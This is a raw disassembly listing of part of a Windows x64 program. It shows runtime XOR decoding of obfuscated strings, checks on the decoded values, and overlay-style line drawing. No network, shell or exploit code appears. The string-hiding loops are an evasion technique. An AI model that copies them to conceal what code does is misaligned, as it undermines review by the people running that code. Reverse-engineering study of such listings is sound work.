pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r12d, 8
mov eax, r12d
lea rcx, [rcx + 8]
cmp r12d, 0x10
jl 0x140094fb0
cmp eax, 0x15
jge 0x140095100
movsxd rax, r12d
lea r8, [rbp + 0x6e0]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r12b
sub al, cl
add al, 0x30
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x15
jl 0x1400950d0
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140195818]
mov qword [rsp + 0x28], rax
lea rax, [0x140195810]
mov qword [rsp + 0x20], rax
lea r9, [0x140195808]
xor r8d, r8d
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x6e0]
call fcn.14003f4d0
test al, al
je 0x140095181
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966fa], 0
mov byte [0x1401966fb], 1
mov rcx, r15
call fcn.140025920
mov dword [rbp + 0x4e8], 0x440c0000
mov dword [rbp + 0x4ec], 0x40a00000
lea rcx, [rbp + 0x4e8]
call fcn.140025b20
movaps xmm0, xmmword [0x140163290]
movaps xmm1, xmmword [0x140163260]
mov dword [rbp + 0x4f0], 0x41a00000
mov dword [rbp + 0x4f4], 0x41f00000
movzx eax, word [0x140160b40]
mov word [rbp - 0x6c], ax
cmp byte [0x140160b41], 0
je 0x1400951eb
mov byte [rbp - 0x6c], 0x78
xor byte [rbp - 0x6b], 0x31
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140195860]
mov qword [rsp + 0x28], rax
lea rax, [0x140195858]
mov qword [rsp + 0x20], rax
lea r9, [0x140195850]
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp - 0x6c]
call fcn.14003fe10
test al, al
je 0x14009524c
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.1400159f0
mov ecx, 2
call fcn.1400213c0
mov ecx, 1
call fcn.140021470
mov rcx, qword [0x140196610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
mov dword [rbp + 0x4f8], 0
mov dword [rbp + 0x4fc], 0x43e50000
lea rcx, [rbp + 0x4f8]
call fcn.140025b20
movss xmm7, dword [rbx + 0x118]
movss xmm6, dword [rbx + 0x11c]
movss xmm8, dword [0x14016313c]
movss xmm9, dword [0x14011af64]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x11b8]
call fcn.140009a40
movss xmm1, dword [rbp + 0x11b8]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0x11bc]
addss xmm0, xmm6
movss dword [rbp + 0x1178], xmm7
movss dword [rbp + 0x117c], xmm6
movss dword [rbp + 0x1180], xmm1
movss dword [rbp + 0x1184], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1180]
lea rdx, [rbp + 0x1178]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f760
mov qword [rbp + 0x500], 0
lea rcx, [rbp + 0x500]
call fcn.140025b20
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x11c0]
call fcn.140009a40
movss xmm1, dword [rbp + 0x11c0]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0x11c4]
addss xmm0, xmm7
movss dword [rbp + 0x1160], xmm6
movss dword [rbp + 0x1164], xmm7
movss dword [rbp + 0x1168], xmm1
movss dword [rbp + 0x116c], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1168]
lea rdx, [rbp + 0x1160]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f760
mov dword [rbp + 0x508], 0x43160000
mov dword [rbp + 0x50c], 0xbf800000
lea rcx, [rbp + 0x508]
call fcn.140025b20
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm0, xmm9
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0x11b0]
call fcn.140009a40
movss xmm1, dword [rbp + 0x11b0]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0x11b4]
addss xmm0, xmm7
movss dword [rbp + 0x11c8], xmm6
movss dword [rbp + 0x11cc], xmm7
movss dword [rbp + 0x11d0], xmm1
movss dword [rbp + 0x11d4], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x11d0]
lea rdx, [rbp + 0x11c8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f760
call fcn.1400154d0
mov rcx, qword [rbp + 0x1278]
xor rcx, rsp
call fcn.14010e280
lea r11, [rsp + 0x13f8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3